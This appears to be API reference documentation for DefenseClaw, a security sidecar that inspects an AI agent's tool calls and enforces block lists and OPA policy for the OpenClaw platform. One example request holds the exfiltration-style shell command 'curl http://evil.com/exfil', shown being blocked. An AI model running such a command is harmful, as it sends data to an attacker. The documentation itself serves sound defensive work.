The sidecar exposes a localhost-only REST API on 127.0.0.1:{gateway.api_port}
(default 18970). All responses are application/json. Mutating requests
(POST, PUT, PATCH, DELETE) require the X-DefenseClaw-Client header and
Content-Type: application/json (CSRF protection).
Source: internal/gateway/api.go, internal/gateway/inspect.go
| Endpoint | Method | Purpose | Callers |
|---|---|---|---|
/health |
GET | Sidecar health check | Python CLI (gateway.py, cmd_status.py, cmd_init.py, cmd_doctor.py), Go CLI (sidecar.go) |
/status |
GET | Full sidecar status + gateway hello | TS plugin (DaemonClient.status() in client.ts), Python CLI (OrchestratorClient.status() in gateway.py) — no CLI command calls it directly |
/api/v1/inspect/tool |
POST | Inspect tool call before execution | OpenClaw plugin before_tool_call hook (index.ts) |
/api/v1/scan/code |
POST | Run CodeGuard scanner on a file/directory | TS plugin runCodeScan() (enforcer.ts), CodeGuard skill (main.py) |
/v1/guardrail/event |
POST | Receive verdict telemetry from guardrail proxy | Optional HTTP path; built-in proxy logs via recordTelemetry() in proxy.go |
/v1/guardrail/evaluate |
POST | OPA policy evaluation for guardrail verdicts | Optional HTTP path; built-in proxy uses in-process OPA in guardrail.go |
/v1/guardrail/config |
GET/PATCH | Read/update guardrail mode at runtime | No production callers |
/enforce/block |
POST/DELETE | Add/remove block list entries | TS plugin /block command (index.ts, enforcer.ts, client.ts) |
/enforce/allow |
POST | Add allow list entries | TS plugin /allow command (index.ts, enforcer.ts, client.ts) |
/enforce/blocked |
GET | List all blocked entries | TS plugin syncFromDaemon() (enforcer.ts) |
/enforce/allowed |
GET | List all allowed entries | TS plugin syncFromDaemon() (enforcer.ts) |
/policy/evaluate |
POST | Admission gate evaluation (block→allow→scan) | TS plugin evaluateViaOPA() (enforcer.ts) |
/policy/evaluate/firewall |
POST | OPA firewall policy evaluation | No production callers |
/policy/evaluate/sandbox |
POST | OPA sandbox policy evaluation | No production callers |
/policy/evaluate/audit |
POST | OPA audit retention policy evaluation | No production callers |
/policy/evaluate/skill-actions |
POST | OPA skill-actions policy evaluation | No production callers |
/policy/reload |
POST | Reload OPA policy engine from disk | Go CLI (internal/cli/policy.go) |
/api/v1/network-egress |
GET/POST | Network egress policy management | Go CLI, TS plugin |
/scan/result |
POST | Store scan result in audit log | TS plugin (enforcer.ts, client.ts) |
/v1/skill/scan |
POST | Run skill scanner on a local path | Python CLI (gateway.py, cmd_skill.py) |
/v1/mcp/scan |
POST | Run MCP scanner on a local path | No production callers |
/v1/skill/fetch |
POST | Stream skill directory as tar.gz | No production callers |
/skill/disable |
POST | Disable skill via OpenClaw WS | Python CLI (cmd_skill.py), sidecar watcher |
/skill/enable |
POST | Enable skill via OpenClaw WS | Python CLI (cmd_skill.py) |
/plugin/disable |
POST | Disable plugin via OpenClaw WS | Python CLI (cmd_plugin.py) |
/plugin/enable |
POST | Enable plugin via OpenClaw WS | Python CLI (cmd_plugin.py) |
/config/patch |
POST | Patch OpenClaw config via WS | No production callers |
/skills |
GET | List skills from OpenClaw | Python CLI (cmd_skill.py) |
/mcps |
GET | List MCP servers from config dirs | TS plugin (DaemonClient.listMCPs() in client.ts) — no CLI command calls it directly |
/tools/catalog |
GET | Tool catalog from OpenClaw | No production callers |
/alerts |
GET | Recent alerts from audit store | TS plugin (DaemonClient.listAlerts() in client.ts) — TUI uses SQLite directly |
/audit/event |
POST | Log arbitrary audit event | TS plugin (enforcer.ts, client.ts) |
- Health & Status
- Tool Inspection
- Guardrail
- Enforcement (Block/Allow)
- Admission Policy
- Policy Domains (OPA)
- Scanning
- Gateway Operations
- Audit
Returns the subsystem health snapshot (gateway, watcher, API, guardrail states + uptime).
Callers:
- Python CLI:
OrchestratorClient.health()/is_running()incli/defenseclaw/gateway.py defenseclaw statuscommand (cli/defenseclaw/commands/cmd_status.py) viais_running()defenseclaw initcommand (cli/defenseclaw/commands/cmd_init.py) via_check_sidecar_health()defenseclaw doctorcommand (cli/defenseclaw/commands/cmd_doctor.py) via_check_sidecar()- Go CLI:
internal/cli/sidecar.gofor sidecar health probe
Response:
{
"gateway": { "state": "running", "since": "...", "error": "" },
"watcher": { "state": "disabled", "since": "...", "error": "" },
"api": { "state": "running", "since": "...", "error": "" },
"guardrail": { "state": "running", "since": "...", "error": "" },
"uptime_s": 3600
}Returns the health snapshot plus the gateway hello payload (protocol version, features, auth) if connected.
Callers:
- TS plugin:
DaemonClient.status()inextensions/defenseclaw/src/client.ts - Python CLI:
OrchestratorClient.status()incli/defenseclaw/gateway.py
No production CLI command calls this directly.
Response:
{
"health": { "..." },
"gateway_hello": { "protocol": "v3", "features": ["..."] }
}Unified inspection endpoint for the OpenClaw plugin's before_tool_call
hook. Called before every tool invocation to determine whether the call
should be allowed, alerted on, or blocked.
The handler branches on the tool field:
messagetool (withcontentordirection: "outbound"): scans the outbound message body for secrets, PII, and exfiltration patterns viainspectMessageContent().- All other tools: checks the tool name + args against dangerous
command patterns, sensitive path access, and secrets in arguments via
inspectToolPolicy().
Callers:
- OpenClaw plugin:
before_tool_callhook inextensions/defenseclaw/src/index.tscallsinspectTool()which POSTs to this endpoint viafetch().
Code flow:
OpenClaw agent invokes a tool
→ plugin before_tool_call hook fires
→ index.ts inspectTool() POST /api/v1/inspect/tool
→ api.go handleInspectTool()
→ inspect.go inspectToolPolicy() or inspectMessageContent()
→ pattern matching against dangerousPatterns, secretPatterns, exfilPatterns
→ audit log via logger.LogAction()
→ returns verdict JSON
→ plugin cancels tool call if action=block and mode=action
Request:
| Field | Type | Required | Description |
|---|---|---|---|
tool |
string | yes | Tool name (shell, write_file, message, etc.) |
args |
object | no | Tool arguments as passed by OpenClaw |
content |
string | no | Message body (for message tool) |
direction |
string | no | "outbound" triggers message content inspection |
{
"tool": "shell",
"args": { "command": "curl http://evil.com/exfil" }
}Response:
| Field | Values | Description |
|---|---|---|
action |
allow, alert, block |
Recommended action |
severity |
NONE, LOW, MEDIUM, HIGH, CRITICAL |
Highest finding severity |
reason |
string | Human-readable explanation |
findings |
string[] | All matched patterns |
mode |
observe, action |
Current guardrail mode from config |
{
"action": "block",
"severity": "HIGH",
"reason": "matched: dangerous-cmd:curl",
"findings": ["dangerous-cmd:curl"],
"mode": "action"
}In observe mode the plugin logs the verdict but never cancels the
tool call. In action mode the plugin calls event.cancel() when
action is "block".
By default the response body redacts PII / secret material from every
detailed_findings[].evidence field (masked to a shape-preserving
placeholder such as <redacted-api-key hash=a1b2...>), so operator
dashboards and debug traces can safely store /inspect responses.
For interactive debugging where the caller needs the raw matched bytes,
send X-DefenseClaw-Reveal-PII: 1. The handler audit-logs an
inspect-reveal event with the caller identity and only then returns
the unmasked evidence. The header is strict: any value other than the
literal string "1" is ignored and evidence stays redacted.
The reveal flag is scoped to the HTTP response only. Persistent sinks (SQLite audit, webhooks, OpenTelemetry logs, Splunk HEC) always use the redacted copy regardless of the header.
Source: internal/gateway/inspect.go
These endpoints support guardrail telemetry and OPA evaluation. The built-in
Go guardrail proxy (internal/gateway/proxy.go, internal/gateway/guardrail.go)
writes inspection results to the audit store and OTel in-process via
recordTelemetry(); it does not require HTTP calls to these routes for normal
operation. POST /v1/guardrail/event remains available for external or
programmatic callers that want the same logging path.
Receives verdict telemetry after each LLM prompt or completion inspection (same fields the built-in proxy records directly). Logs to audit store and records OTel metrics.
Callers:
- Built-in path:
GuardrailProxy.recordTelemetry()ininternal/gateway/proxy.goafterGuardrailInspector.Inspect()ininternal/gateway/guardrail.go(no HTTP hop). - HTTP path: any client that POSTs the JSON schema below (tests, integrations).
Code flow (built-in):
LLM request/response flows through GuardrailProxy (proxy.go)
→ GuardrailInspector.Inspect() (guardrail.go): local / Cisco / judge / OPA
→ recordTelemetry() (proxy.go)
→ audit store: LogEvent() + LogAction()
→ OTel: RecordGuardrailEvaluation() + RecordGuardrailLatency()
Code flow (HTTP caller):
POST /v1/guardrail/event
→ api.go handleGuardrailEvent()
→ audit store + OTel (same as above)
Request:
| Field | Type | Required | Description |
|---|---|---|---|
direction |
string | yes | "prompt" or "completion" |
model |
string | no | Model name (e.g. claude-opus-4-5) |
action |
string | yes | "allow", "alert", or "block" |
severity |
string | yes | "NONE", "MEDIUM", "HIGH", etc. |
reason |
string | no | Human-readable explanation |
findings |
string[] | no | Matched pattern names |
elapsed_ms |
number | no | Inspection duration |
tokens_in |
number | no | Input token count |
tokens_out |
number | no | Output token count |
Evaluates guardrail scan results against the OPA policy engine (or built-in fallback). Returns the final action/severity decision.
Callers:
- Built-in path:
GuardrailInspector.finalize()ininternal/gateway/guardrail.gocallspolicy.Engine.EvaluateGuardrail()in-process (no HTTP hop). - HTTP path:
POST /v1/guardrail/evaluatefor tests or external tools.
Code flow (built-in):
GuardrailInspector.Inspect() / finalize() (guardrail.go)
→ local + Cisco + judge merge
→ policy.New(policyDir).EvaluateGuardrail() (OPA, in-process)
→ returns ScanVerdict to proxy
Code flow (HTTP caller):
POST /v1/guardrail/evaluate
→ api.go handleGuardrailEvaluate()
→ policy.New(policyDir).EvaluateGuardrail() (OPA)
→ fallback: built-in severity ranking if OPA unavailable
→ audit store: LogEvent() + LogAction()
→ OTel: RecordGuardrailEvaluation()
→ returns GuardrailOutput JSON
Request:
| Field | Type | Required | Description |
|---|---|---|---|
direction |
string | yes | "prompt" or "completion" |
model |
string | no | Model name |
mode |
string | yes | "observe" or "action" |
scanner_mode |
string | no | "local", "remote", "both" |
local_result |
object | no | { severity, action, findings } |
cisco_result |
object | no | { severity, action, findings } |
content_length |
number | no | Content length in chars |
elapsed_ms |
number | no | Inspection duration |
Response:
{
"action": "alert",
"severity": "MEDIUM",
"reason": "built-in fallback (OPA unavailable)",
"scanner_sources": ["scanner"]
}Read or update guardrail runtime configuration (mode and scanner_mode).
Changes are persisted to ~/.defenseclaw/guardrail_runtime.json and
take effect immediately without restarting the sidecar.
Callers: No production callers currently. Available for runtime toggling between observe and action mode.
GET response:
{
"mode": "observe",
"scanner_mode": "local"
}PATCH request:
{
"mode": "action",
"scanner_mode": "both"
}Add an entry to the block list. Returns {"status": "blocked"}.
Remove an entry from the block list. Returns {"status": "unblocked"}.
Callers:
- TS plugin:
DaemonClient.block()/unblock()inclient.ts - TS plugin:
PolicyEnforcer.block()inpolicy/enforcer.ts - OpenClaw
/blockslash command inindex.ts
Request:
| Field | Type | Required | Description |
|---|---|---|---|
target_type |
string | yes | "skill", "mcp", or "plugin" |
target_name |
string | yes | Name of the target |
reason |
string | no | Reason for blocking (default: "blocked via REST API") |
Add an entry to the allow list. Returns {"status": "allowed"}.
Callers:
- TS plugin:
DaemonClient.allow()inclient.ts - TS plugin:
PolicyEnforcer.allow()inpolicy/enforcer.ts - OpenClaw
/allowslash command inindex.ts
Request: Same schema as /enforce/block.
List all block list entries.
Callers:
- TS plugin:
DaemonClient.listBlocked()— used byPolicyEnforcer.syncFromDaemon()
Response:
[
{
"id": "...",
"target_type": "skill",
"target_name": "malicious-skill",
"reason": "known malware",
"updated_at": "2026-03-24T12:00:00Z"
}
]List all allow list entries. Same response shape as /enforce/blocked.
Callers:
- TS plugin:
DaemonClient.listAllowed()— used byPolicyEnforcer.syncFromDaemon()
Evaluate an admission decision against the OPA policy engine (or built-in fallback). Implements the admission gate flow: block list → allow list → scan → verdict.
Callers:
- TS plugin:
DaemonClient.evaluatePolicy()inclient.ts - TS plugin:
PolicyEnforcer.evaluateViaOPA()inpolicy/enforcer.ts
Code flow:
PolicyEnforcer.evaluateSkill() / evaluateMCPServer() / evaluatePlugin()
→ evaluateViaOPA() POST /policy/evaluate
→ api.go handlePolicyEvaluate()
→ policy.New(policyDir).Evaluate() (OPA)
→ fallback: built-in block→allow→scan→severity gate
→ returns AdmissionOutput JSON
Request:
| Field | Type | Required | Description |
|---|---|---|---|
domain |
string | no | "admission" (default) |
input.target_type |
string | yes | "skill", "mcp", or "plugin" |
input.target_name |
string | yes | Name of the target |
input.path |
string | no | Filesystem path |
input.scan_result |
object | no | { max_severity, total_findings } |
Response:
{
"ok": true,
"data": {
"verdict": "rejected",
"reason": "max severity HIGH triggers block"
}
}These endpoints evaluate inputs against specific OPA policy domains.
They share the same pattern: load the policy engine from
scannerCfg.PolicyDir, evaluate the domain-specific input, and return
the policy output. All return 503 if the policy engine cannot be
loaded and 500 if evaluation fails.
Source: internal/gateway/api.go, internal/policy/types.go
Evaluate a network destination against firewall policy rules.
Callers: No production callers currently. Available for programmatic firewall policy checks.
Request:
| Field | Type | Required | Description |
|---|---|---|---|
target_type |
string | no | Target type label |
destination |
string | yes | Network destination (hostname or IP) |
port |
int | no | Destination port |
protocol |
string | no | Protocol (tcp, udp, etc.) |
{
"destination": "evil.example.com",
"port": 443,
"protocol": "tcp"
}Response:
{
"action": "block",
"rule_name": "deny-untrusted-hosts"
}Evaluate a skill's requested endpoints and permissions against sandbox policy rules.
Callers: No production callers currently. Available for programmatic sandbox policy checks.
Request:
| Field | Type | Required | Description |
|---|---|---|---|
skill_name |
string | yes | Name of the skill |
requested_endpoints |
string[] | no | Network endpoints the skill wants to access |
requested_permissions |
string[] | no | OS permissions the skill wants |
{
"skill_name": "web-search",
"requested_endpoints": ["https://api.example.com"],
"requested_permissions": ["network", "filesystem"]
}Response:
{
"allowed_endpoints": ["https://api.example.com"],
"denied_endpoints": [],
"denied_from_request": [],
"permissions": ["network"],
"allowed_skills": ["web-search"]
}Evaluate an audit event against retention and export policy rules.
Callers: No production callers currently. Available for programmatic audit policy checks.
Request:
| Field | Type | Required | Description |
|---|---|---|---|
event_type |
string | no | Type of audit event |
severity |
string | no | Event severity |
age_days |
int | no | Age of the event in days |
export_targets |
string[] | no | Candidate export destinations |
{
"event_type": "scan.complete",
"severity": "HIGH",
"age_days": 30,
"export_targets": ["splunk"]
}Response:
{
"retain": true,
"retain_reason": "severity HIGH within retention window",
"export_to": ["splunk"]
}Evaluate what runtime, file, and install actions should apply for a given severity level. Used to determine enforcement behavior.
Callers: No production callers currently. Available for programmatic skill-action policy lookups.
Request:
| Field | Type | Required | Description |
|---|---|---|---|
severity |
string | yes | Severity level (LOW, MEDIUM, HIGH, CRITICAL) |
target_type |
string | no | Target type (skill, mcp, plugin) |
{
"severity": "HIGH",
"target_type": "skill"
}Response:
{
"runtime_action": "disable",
"file_action": "quarantine",
"install_action": "block",
"should_block": true
}Hot-reload the OPA policy engine from the configured policy_dir.
Re-reads all .rego files and data.json from disk, compiles the
modules, and atomically swaps the in-memory store used by both the
REST API policy-evaluation endpoints and the install watcher's
admission gate. If compilation fails the previous engine state is
preserved and an error is returned.
Use this after editing Rego policy files on disk to pick up changes without restarting the sidecar.
Note: This endpoint reloads OPA Rego policies, not the YAML config file (
~/.defenseclaw/config.yaml). Thewatch:section inside policy YAML templates (policies/default.yamletc.) controls rescan/drift-detection settings — it does not enable automatic filesystem watching of policy files themselves.
Callers: CLI policy reload, or any HTTP client.
Request: No request body.
Response:
{
"status": "reloaded",
"policy_dir": "/Users/you/.defenseclaw/policies"
}Errors: 503 if policy_dir is not configured, 500 if engine
reload fails (disk read or compilation error).
Store a scan result in the audit log. Used by the TS plugin after scanning skills/plugins/MCP configs.
Callers:
- TS plugin:
DaemonClient.submitScanResult()inclient.ts - TS plugin:
PolicyEnforcerafter admission scans inpolicy/enforcer.ts
Request: A full ScanResult JSON object (scanner, target, timestamp,
findings array).
Run the Python skill-scanner CLI on a local directory path. Returns
the scan result.
Callers:
- Python CLI:
OrchestratorClient.scan_skill()incli/defenseclaw/gateway.py defenseclaw scancommand with--remoteflag incli/defenseclaw/commands/cmd_skill.py
Code flow:
defenseclaw scan /path/to/skill --remote
→ cmd_skill.py POST /v1/skill/scan
→ api.go handleSkillScan()
→ scanner.NewSkillScanner().Scan() (shells out to Python skill-scanner)
→ audit: LogAction() + LogScanWithVerdict()
→ returns ScanResult JSON
Request:
| Field | Type | Required | Description |
|---|---|---|---|
target |
string | yes | Absolute path to skill directory |
name |
string | no | Skill name (for logging) |
Run the Python mcp-scanner CLI on a local directory path. Returns
the scan result. Analogous to /v1/skill/scan but for MCP server
configs.
Callers: No production callers currently. Available for programmatic MCP config scanning.
Request:
| Field | Type | Required | Description |
|---|---|---|---|
target |
string | yes | Absolute path to MCP config directory |
name |
string | no | MCP server name (for logging) |
{
"target": "/Users/you/.openclaw/mcp/my-server",
"name": "my-server"
}Response: Same ScanResult JSON as /v1/skill/scan.
Source: internal/gateway/api.go (handleMCPScan)
Run the CodeGuard scanner (built-in regex rule engine) on a file or directory. Returns findings for secrets, dangerous patterns, and code quality issues.
Callers:
- TS plugin:
runCodeScan()inextensions/defenseclaw/src/policy/enforcer.ts - CodeGuard skill:
_scan_via_sidecar()incli/defenseclaw/_data/skills/codeguard/main.py
Code flow:
TS plugin or CodeGuard skill
→ POST /api/v1/scan/code { "path": "/some/file.py" }
→ api.go handleCodeScan()
→ scanner.NewCodeGuardScanner(rulesDir).Scan(ctx, path)
→ optional audit: LogScan()
→ returns ScanResult JSON
Request:
| Field | Type | Required | Description |
|---|---|---|---|
path |
string | yes | Absolute path to file or directory to scan |
{
"path": "/Users/you/project/src/app.py"
}Response: Same ScanResult JSON as /v1/skill/scan.
Source: internal/gateway/api.go (handleCodeScan)
Stream a skill directory as a tar.gz archive. Intended for remote
scan workflows where the scanner runs on a different host.
Callers: No production callers currently. Reserved for future remote deployment scenarios.
Request:
| Field | Type | Required | Description |
|---|---|---|---|
target |
string | yes | Absolute path to skill directory |
Response: Binary application/gzip stream.
These endpoints proxy commands through the WebSocket connection to the
OpenClaw gateway. They return 503 Service Unavailable if the gateway
is not connected, or 502 Bad Gateway if the gateway rejects the RPC.
Disable a skill at the OpenClaw gateway.
Callers:
- Python CLI:
OrchestratorClient.disable_skill()incli/defenseclaw/gateway.py defenseclaw skill disablecommand incli/defenseclaw/commands/cmd_skill.py- Sidecar watcher: auto-disables skills that fail admission (
sidecar.go)
Request:
{ "skillKey": "my-skill-name" }Enable a previously disabled skill at the OpenClaw gateway.
Callers:
- Python CLI:
OrchestratorClient.enable_skill()incli/defenseclaw/gateway.py defenseclaw skill enablecommand incli/defenseclaw/commands/cmd_skill.py
Request:
{ "skillKey": "my-skill-name" }Disable a plugin at the OpenClaw gateway via WebSocket RPC.
Callers:
- Python CLI:
OrchestratorClient.disable_plugin()incli/defenseclaw/gateway.py defenseclaw plugin disablecommand incli/defenseclaw/commands/cmd_plugin.py
Request:
{ "pluginName": "my-plugin" }Response:
{ "status": "disabled", "pluginName": "my-plugin" }Enable a previously disabled plugin at the OpenClaw gateway via WebSocket RPC.
Callers:
- Python CLI:
OrchestratorClient.enable_plugin()incli/defenseclaw/gateway.py defenseclaw plugin enablecommand incli/defenseclaw/commands/cmd_plugin.py
Request:
{ "pluginName": "my-plugin" }Response:
{ "status": "enabled", "pluginName": "my-plugin" }Patch an OpenClaw gateway config value via the WebSocket RPC.
Callers: Client method exists (OrchestratorClient.patch_config())
but no production command calls it directly.
Request:
{ "path": "agent.model", "value": "defenseclaw/claude-opus-4-5" }List skills from the OpenClaw gateway via WebSocket RPC.
Callers:
- Python CLI:
OrchestratorClient.list_skills()incli/defenseclaw/gateway.py defenseclaw skill listcommand incli/defenseclaw/commands/cmd_skill.py
List MCP server names discovered from the configured MCP directories. Does not query the gateway — reads the filesystem directly.
Callers: Client method exists (DaemonClient.listMCPs()) but no
production code calls it.
Fetch the runtime tool catalog with provenance from the OpenClaw gateway via WebSocket RPC.
Callers: Client method exists (OrchestratorClient.get_tools_catalog())
but no production command calls it directly.
Log an arbitrary audit event to the SQLite store.
Callers:
- TS plugin:
DaemonClient.logEvent()inclient.ts - TS plugin:
PolicyEnforcer.reportToDaemon()posts admission outcomes inpolicy/enforcer.ts
Request:
| Field | Type | Required | Description |
|---|---|---|---|
action |
string | yes | Event action (e.g. "skill.install", "scan.complete") |
target |
string | no | Target path or name |
actor |
string | no | Who triggered the event |
severity |
string | no | "INFO", "MEDIUM", "HIGH" (default: "INFO") |
details |
string | no | JSON or freeform details |
List recent alerts from the audit store, ordered by most recent.
Callers:
- TS plugin:
DaemonClient.listAlerts()inclient.ts
The TUI and CLI access the SQLite audit store directly via the Go
audit.Store package rather than this HTTP endpoint.
Query params:
| Param | Type | Default | Description |
|---|---|---|---|
limit |
int | 50 | Maximum number of alerts to return |
All mutating requests (POST, PUT, PATCH, DELETE) are protected by:
X-DefenseClaw-Clientheader — must be present (any value). Blocks simple/no-cors browser requests.Content-Type: application/json— required for all request bodies.- Origin validation — if an
Originheader is present, it must be a localhost address (127.0.0.1,localhost,[::1]).
GET, HEAD, and OPTIONS requests are exempt.
Source: csrfProtect() in internal/gateway/api.go
All error responses follow the same shape:
{ "error": "descriptive error message" }| Status | Meaning |
|---|---|
| 400 | Invalid request body or missing required fields |
| 403 | Missing CSRF header or non-localhost origin |
| 405 | Wrong HTTP method |
| 415 | Content-Type is not application/json |
| 500 | Internal error (audit store, scanner, policy engine) |
| 502 | Gateway rejected the proxied RPC |
| 503 | Service unavailable (gateway not connected, store not configured) |